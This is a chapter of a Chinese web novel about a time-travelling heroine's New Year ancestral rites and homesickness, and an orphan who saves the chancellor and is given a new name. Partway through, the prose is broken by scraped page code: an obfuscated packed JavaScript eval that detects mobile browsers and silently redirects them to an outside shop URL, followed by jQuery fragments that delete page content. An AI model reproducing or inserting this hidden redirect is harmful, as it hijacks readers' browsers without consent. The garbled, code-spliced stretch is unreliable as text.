68. 第 68 章

作品:《我的夫君也是穿越者

    辰时,燕儿拿着吉服,打着哈欠迷迷糊糊来到南晓荷房中,“姑娘,燕儿帮你梳洗换装。”


    “好,有劳燕儿了。”


    昨夜推牌九散场后,南晓荷在内耗自己,又哭又笑到天亮,此时的她眼睛又红又肿。


    “呀!姑娘,你的眼睛怎么那么红肿啊?”


    南晓荷扯谎道:“昨晚一直都是我赢,太高兴,太兴奋了,一夜没睡。”


    “哦。”


    燕儿望了望南晓荷脸上未干的泪痕,分明是哭过,她跟在南晓荷身边多年,她自然是了解南晓荷的,她不愿意说也就不再多问。


    梳洗妥当后,燕儿帮她换上了一身石榴红的织金绣袄,踩着霜露往祠堂走去。


    祠堂里烛火通明,祖宗牌位前供着整只的烤乳猪、鲜果、糕点,香炉里青烟袅袅。


    南晓荷双手捧着三炷香恭恭敬敬地插进香炉,接着跪拜叩首,最后沉声诵读祝文,字字句句皆是祈求宗族顺遂,岁岁平安。


    冷静晗在院旁观礼,她是外姓外戚,按照规矩不能踏入祠堂正殿,只能站在院中观礼。


    燕儿手里攥着一沓黄纸,将焚纸炉里的纸钱添的均匀,她自小跟在南晓荷身边,算是半个主子,却也恪守主仆的分寸,只在外院忙活,绝不踏过那道门槛。


    祝文诵读完毕,南晓荷起身,走了出来,院外的爆竹声隐隐传来,霜气渐渐散去,有一丝暖意袭来,祭祖仪式完毕,新的一年才算真正拉开了序幕。


    ......


    朱漆大门巍峨厚重,透出几分沉敛威仪,门楣之上悬着黑底金字大匾,“丞相府”三个字乃先帝御笔亲题。


    府中床榻上躺着一位面色惨白的男子,忽地他的睫毛颤了颤,发出极轻的咳嗽声,干裂的嘴唇翕动着,嗓音沙哑道:“水...水...”


    守在一旁的小厮兴奋大声喊道:“醒了,醒了?”


    男子艰难起身,你呢喃:“水...水...”


    “好好好,你别急,这就给你倒。”


    男子接过小厮手中的茶杯,一饮而尽,“谢谢你,这是哪里,我怎么会在这?”


    “丞相府啊,一个多月前,你拼了命守护老爷的安全,你不记得了?”


    男子摇头。


    小厮看着呆呆的男子,“你真不记得了?”


    男子点头。


    “不会吧?不过你小子命也是真大,受了那么重的伤竟然没死。”


    “那你叫什么名字啊?”


    “洪二郎。”


    “洪二郎?这是什么名字?我叫丁江,怎么样名字好听吧?等会二你也让老爷给你赐名吧?”


    洪二郎微微点头,低头发现自己的衣服被换了,猛地跳下床,着急道:“我的衣服呢?我的衣服呢?”


    “你那身衣服又脏又臭,一身的血迹,早就仍了。”


    洪二郎急的双手搭在丁江的肩膀上摇晃着他,“仍哪了,快带我去找。”


    丁江被他摇晃的头晕目眩,“呀!呀!呀!你先放开我,躺了那么久,哪来的力气?”


    丁江找衣柜里拿出一个水囊,“给,你不是找衣服,是找这个吧?”


    洪二郎一把抢过水囊,捂在胸口。


    他的这一系列动作,扯到胸口的伤痕,雪白的中衣很快被晕染成一朵花。


    “当初,带你回来的时候,这个水囊你一直捂在胸口不让人碰,我便猜到你很宝贝这个,所以就替你收着了。”


    “谢谢!”


    洪二郎抚摸着水囊,回想起南晓荷曾经跟他说过的话,“这些你拿着,我现在只能帮你到这了,你有手有脚,只要你自己不放弃,我相信你一定可以好好活下去的。”


    “仙女姐姐,我有听你的话,有在好好的活。”


    他说话的声音很小,一旁的丁江听不清,问道:“你在说什么,什么仙女姐姐?”


    洪二郎没有回话,只是呆呆地盯着水囊看。


    丁江发现他的伤口在渗血,惊呼:“你伤口流血了,你快躺下,别再乱动了,我去给你拿伤药重新包扎。”


    “谢谢!”


    丁江摆摆手离开。


    丁江刚来到院外,便碰到了一个身着藏青色常服,腰束玉带的中年男子。


    丁江弯腰行礼,道:“老爷,那个人醒了。”


    “醒了?”


    “是的,老爷。”


    “走,去看看。”


    “是,老爷。”


    周丞相三步并两步走到床榻前,素来老谋深算的眉眼竟染上几分真切的喜色,“你总算是醒了!今日是大年初一,这可是再好不过的兆头!”


    声音里满是欣慰。


    洪二郎勉强撑着想要起身坐起,却因那被撕裂的疼痛拽的倒回榻上,他喘着气,望着周丞相。


    周丞相忙按住他的肩,温声道:“无妨,不必拘礼,你救了老夫性命,老夫还不知你的名讳,家住何方?”


    周丞相是个多疑之人,他怀疑洪二郎是苦肉计,有目的的接近他,不然怎么会那么巧,遇刺时他正好出现在那个地方?


    可将洪二郎的身世调查个底朝天也没有发现异常,他才放下心来。


    洪二郎愣了愣,干裂的嘴唇动了动,声音低得像细蚊,却字字清晰:“小的...没有家。”


    他顿了顿,指尖攥紧了衣角,眼神黯淡下去,“小的姓洪,是街边乞讨的孤儿,很小的时候父母亲便去世了,小的只记得,那时候他们叫小的二郎。”


    洪二郎忽然起身跪地,“相爷,请您为小的赐名。”


    “好说,好说,你先起来。”


    周丞相将洪二郎扶了起来。


    “当日老夫遇刺,你如英豪般无畏,挡在老夫的身前,救了老夫的性命,你便叫成豪如何?”


    成豪有望子成龙,望女成凤之意。


    洪二郎听了眼中闪过一丝亮光,他很喜欢这个名字,连忙下跪磕头,“多谢相爷,小的以后便叫洪成豪。”


    “哎,成豪,你是老夫的救命恩人,你快起来,别动不动就下跪。”


    “是,小的知错。”


    “你也别自称小的,你既然救了老夫的性命,老夫不会随意丢出金银将你打发,也不会收你为仆役,那样反倒辱没了舍命相救的情义,不过,老夫不养闲人,却也不会亏待恩人。”


    周丞相偏头对着丁江吩咐道:“将府中最雅致的西院收拾出来,待成豪的伤好些,你们就搬过去住,丁江,日后成豪便是你的主子,好生伺候着。”


    “是,老爷。”


    周丞相捋了捋胡须,问道:“成豪,你今年多大,可有读过书?”


    “回,回相爷,小...晚辈...晚辈今年17岁,曾上过一年学,识得一些字。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112424|195494||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “好,今儿起,你便是我的记名门生。”


    洪成豪愣住,茫然道:“记名门生?那是什么?”


    一旁的丁江躬身解释道:“记名门生,虽无需参与科举拜师之礼,却也算入了咱们老爷门下,往后你便是老爷的记名弟子,若有人敢欺辱你,你报上丞相门生名号,便无人敢造次。”


    丁江拍了拍发愣的洪成豪,“你愣着做啥啊,还不快谢谢老爷?”


    “哦...”洪成豪听完,立马撑着身子要磕头,被周丞相拦了下来,“不必多礼。”


    周丞相扶着洪成豪,让他躺下。


    “待你伤好,老夫会亲自为你择先生,教你读书写字、骑马射箭,若你肯学,将来无论你是想入仕为官,还是想归隐田园,老夫都能为你铺就前路。”


    洪成豪拱手行礼,“多谢相爷。”


    “你好好休息。”


    周丞相说罢大步离开。


    洪成豪身家清白,周丞相觉得他是个好把控之人。


    洪成豪目送周丞相离开,待背影彻底消失后,嘴角不自觉上扬,那日他之所以以命相护周丞相,他在赌,如果他死了,贱命一条,死了便死了,如果不死,成了周丞相的救命恩人,那么他便可以博得一个好机会,一个成为人上人的机会。


    成为人上人后,就可以离他的仙女姐姐近一些,再近一些。


    ......


    南晓荷早晨祭祖后,便回到闺房中补觉了,这一觉睡到午时才醒,她利落的穿戴好衣服,伸了个懒腰准备门。


    她一打开门,发现冷静晗杵在门口,“哎呀!静晗妹妹你吓我一跳,你是有事找我嘛?”


    冷静晗看到南晓荷那双红肿的眼睛,满脸愧疚,弱弱道:“表姐,对不起。”


    南晓荷不解:“好端端,你说对不起作甚?”


    冷静晗微微点头,“表姐,你是因为我昨晚提起外祖母,才......”


    南晓荷摇头,“不是,没有,静晗你想多了。”


    冷静晗噘着嘴,“我不信。”


    南晓荷深深叹一口气道:“我是因为想家了,所以才...”


    南晓荷说这话是真心的,毕竟这古代生活条件无法跟21世纪比,在21世纪,冷了有暖气,热了有空调,无聊了有手机、电脑解闷,这里啥都没有。


    有时候她恨不得让陶然对她的好感度立刻升到100%,这样她的任务完成了,就可以回去了,回到她熟悉的社会,虽然那里没有人在等她回去,但是她还是想要回去。


    可她又很纠结,如果陶然对她的好感度升到100%了,意味着陶然彻底的爱上她了,那个时候如果她消失了,陶然不得疯了?


    这系统到底想要做什么啊?不经过她的同意,莫名其妙将她拉进来。


    它这是绑架,是人贩子。


    系统跟陶然是有多大的仇啊,让南晓荷攻略陶然,这不是在坑他吗?


    南晓荷不是一个会玩弄他人感情之人,可偏偏...注定她要做个渣女了。


    想到这南晓荷的眼泪夺眶而出,她仰起头看向陶然家的方向,“对不起!”


    冷静晗见状,拿出绣帕为她擦去泪水,拍了拍她的后背,安抚道:“表姐,不哭...不哭...”


    “静晗,我真的...真的好想回家。”


    ......